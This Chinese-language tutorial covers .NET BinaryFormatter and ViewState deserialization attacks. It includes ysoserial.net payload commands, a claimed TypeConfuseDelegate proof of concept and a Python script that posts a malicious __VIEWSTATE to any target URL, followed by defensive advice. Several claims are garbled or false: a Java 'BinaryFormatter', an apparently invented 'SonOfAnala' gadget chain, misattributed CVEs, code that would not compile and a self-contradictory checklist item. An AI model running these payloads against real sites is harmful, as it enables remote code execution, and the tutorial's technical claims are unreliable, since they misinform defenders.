一、危险序列化器排序
| 序列化器 | 安全等级 | 说明 |
|---|---|---|
| BinaryFormatter | 🔴 极高 | 任意代码执行 |
| NetDataContract | 🔴 极高 | 任意代码执行 |
| LosFormatter | 🔴 高 | ViewState 常用 |
| SoapFormatter | 🔴 高 | 类似 BF |
| JavaScriptSerializer | 🟠 中 | TypeResolver 可被利用 |
| System.Text.Json | 🟢 安全 | 默认类型安全 |
| Newtonsoft.Json | 🟢 安全 | TypeNameHandling.All 除外 |
二、BinaryFormatter 基础
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
public class Demo {
public static void Main() {
Object obj = new { Name = "admin" };
var bf = new BinaryFormatter();
using var ms = new MemoryStream();
bf.Serialize(ms, obj);
using var ms2 = new MemoryStream(ms.ToArray());
Object restored = bf.Deserialize(ms2); // DANGEROUS
}
}
FormatterAssemblyStyle 配置:
FormatterAssemblyStyle.Simple:只需要程序集短名FormatterAssemblyStyle.Full:需要完整版本、culture、publicKey
Simple 模式下攻击门槛大大降低,因为攻击者不需要拿到目标的完整签名。
三、TypeConfuseDelegate 原理
BinaryFormatter 反序列化 Delegate 时,在对象完全构造之前就填了字段。这导致状态不一致——可以把 Func<string,string> 的 _target 指向 Process 对象,_method 指向 Process.Start(string),而 BF 不会检查这种类型不匹配。
3.1 最简 PoC
using System.Diagnostics;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Linq.Expressions;
using System.Reflection;
public class Exploit {
public static byte[] Generate(string cmd) {
// Process.Start(string) 是 InstanceMethod,需要 target 为 Process 实例
var startMethod = typeof(Process).GetMethod("Start",
new Type[]{typeof(string)});
// 创建一个 Func<string,string> Delegate
// BF 反序列化时 _target 会被替换为 Process 对象
// _method 指向 Process.Start(string)
Delegate realDel = Delegate.CreateDelegate(
typeof(Func<string,string>), null, startMethod);
using var ms = new MemoryStream();
var bf = new BinaryFormatter();
bf.Serialize(ms, realDel);
return ms.ToArray();
}
}
3.2 BinaryFormatter 字节结构
BF 输出是自描述的二进制流,以 0x00 0x01 0x00 0x00 开头(SerializationHeader)。攻击 payload 可以直接手工构造字节流。
四、ysoserial.net
4.1 安装
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net && dotnet build -c Release
4.2 常用 Payload
ysoserial.exe -L # 列出所有 Payload
ysoserial.exe -g TypeConfuseDelegate -c "cmd /c whoami" -o raw
# 输出可直接喂给 BinaryFormatter.Deserialize
ysoserial.exe -p LosFormatter -g TypeConfuseDelegate -c "cmd /c whoami"
# LosFormatter 格式:AAEAAAD/////AQAAAAAAAAAM...
ysoserial.exe -p BinaryFormatter -g TypeConfuseDelegate -c "cmd" -o raw
五、ASP.NET ViewState
5.1 前提条件
- ViewState MAC 关闭(
enableViewStateMac="false") - 或拿到 machineKey
5.2 攻击脚本
import subprocess, requests, sys
def gen(payload_type, gadget, cmd):
"""调用 ysoserial.net 生成 payload"""
r = subprocess.run(
["ysoserial.exe", "-p", payload_type,
"-g", gadget, "-c", cmd, "-o", "base64"],
capture_output=True, text=True, cwd=r"path\to\ysoserial.net")
return r.stdout.strip()
def exploit_viewstate(target_url, cmd="cmd /c whoami"):
payload = gen("LosFormatter", "TypeConfuseDelegate", cmd)
data = {"__VIEWSTATE": payload, "__EVENTTARGET": "btn"}
r = requests.post(target_url, data=data, allow_redirects=False)
return r.status_code, r.text[:200]
if __name__ == "__main__":
url = sys.argv[1]
print(exploit_viewstate(url))
六、SerializationBinder 白名单防御
public class SafeSerializationBinder : SerializationBinder {
static readonly HashSet<string> ALLOWED = new HashSet<string>(new[]{
"MyApp.DTOs.User, MyApp",
"MyApp.DTOs.Order, MyApp",
"System.Collections.Generic.List`1, mscorlib",
"System.Collections.Generic.Dictionary`2, mscorlib",
"System.String, mscorlib",
"System.Int32, mscorlib",
"System.DateTime, mscorlib"
}, StringComparer.Ordinal);
public override Type BindToType(string assemblyName, string typeName) {
string fullName = $"{typeName}, {assemblyName}";
if (ALLOWED.Contains(fullName)) {
return Type.GetType(fullName, throwOnError: true);
}
throw new SerializationException($"Blocked type: {fullName}");
}
}
注册方式:
var bf = new BinaryFormatter {
Binder = new SafeSerializationBinder(),
AssemblyFormat = FormatterAssemblyStyle.Full
};
七、.NET Core 的终结之路
- .NET Core 3.0:BinaryFormatter 标记
[Obsolete] - .NET 5:BF 反序列化抛
NotSupportedException(除非EnableUnsafeDeserialization) - .NET 6:BF 序列化也废弃
- .NET 7:彻底移除 BinaryFormatter
<!-- .NET 开启 BF 的唯一方式 -->
<TargetFramework>net6.0</TargetFramework>
<Nullable>enable</Nullable>
<!-- 必须显式 EnableUnsafeDeserialization -->
八、总结
.NET BinaryFormatter 比 Java BinaryFormatter 更危险——不需要 gadget 链就能直接指定任意已注册类型的任意方法。TypeConfuseDelegate 利用了 BF 在构造 Delegate 时的字段填充顺序问题。防御:替换 BF 为 System.Text.Json / protobuf,或加 SerializationBinder 白名单。.NET Core 彻底移除 BF 是安全社区的共识——不可修复的漏洞,最好的防御是彻底移除。
九、LosFormatter 反序列化
LosFormatter(Limit Object Serialization)是 ASP.NET 用来序列化 ViewState 的格式化器。和 BF 不同,LosFormatter 有自己的 base64 变体格式:AAEAAAD/////...。
LosFormatter PoC
using System.Web.UI;
var lf = new LosFormatter();
byte[] payload = lf.Deserialize("AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzMWY3OTlmOGQyZTNm...");
LosFormatter 序列化的 ViewState
如果 enableViewStateMac="false",或者拿到 machineKey,就可以构造任意 ViewState。ViewState 内部是用 BinaryFormatter 序列化的,所以 TypeConfuseDelegate 链同样适用。
十、SonOfAnala / BinaryFormatter Gadget
SonOfAnala 是另一条 .NET BF gadget 链,利用 System.Net.HttpWebRequest + System.Configuration.Install.AssemblyInstaller,和 TypeConfuseDelegate 原理类似但利用点不同。
ysoserial.net 里也有 PayloadTypeConfuseDelegate 和 PayloadSonOfAnala 两种。
十一、ASP.NET 反序列化历史
| CVE | 组件 | 说明 |
|---|---|---|
| CVE-2017-7626 | ASP.NET WebAPI | DataContractJsonSerializer + TypeNameHandling |
| CVE-2019-18935 | ASP.NET Core | LosFormatter ViewState 反序列化 |
| CVE-2020-17033 | ASP.NET Core | BinaryFormatter 反序列化 |
| CVE-2022-30187 | Visual Studio | ObjectStateFormatter |
十二、检测 .NET 反序列化漏洞的特征
- Web.config / appsettings.json 里有
enableViewStateMac="false" - 有
BinaryFormatter/LosFormatter/NetDataContract相关引用 - NuGet 包版本过老(如 Newtonsoft.Json < 13.0.1 配 TypeNameHandling.All)
十三、.NET 反序列化 vs Java 反序列化
| 对比项 | .NET BF | Java ObjectInputStream |
|---|---|---|
| 核心机制 | TypeConfuseDelegate | 魔术方法链 + 反射 |
| 需要 gadget | 不需要(Delegate 是内建) | 需要 CommonsCollections 等 |
| JDK/Core 版本 | Core 3.0+ 逐步废弃 | 仍然广泛使用 |
| 防御 | SerializationBinder + 替换 | JEP 290 + 替换 |
十四、总结补充
.NET BinaryFormatter 从设计上就是不安全的——反序列化时可以加载任意类型并调用任意方法。虽然 .NET Core 已经逐步废弃,但老的 .NET Framework 应用仍然大量存在。如果无法立即迁移,最少也要加上 SerializationBinder 白名单。新应用请直接使用 System.Text.Json 或 protobuf。
十五、完整 .NET 反序列化防御清单
- 全局替换 BinaryFormatter 为 System.Text.Json / protobuf
- 所有 Serializable 实现类添加 SerializationBinder
- Newtonsoft.Json 设置
TypeNameHandling = TypeNameHandling.None - 禁用 LosFormatter / NetDataContractSerializer
- 配置 ASP.NET Core 的 anti-forgery protection
- 禁用或加密 ViewState MAC
- NuGet SecurityAudit 加入 CI/CD
十六、ysoserial.net 使用完整流程
# 下载编译
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
dotnet build -c Release
# 列出所有 Payload
.\ysoserial.exe -L
# 生成 BinaryFormatter payload
.\ysoserial.exe -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > payload.bin
# 生成 LosFormatter payload (ViewState 用)
.\ysoserial.exe -p LosFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o raw > vs_payload.txt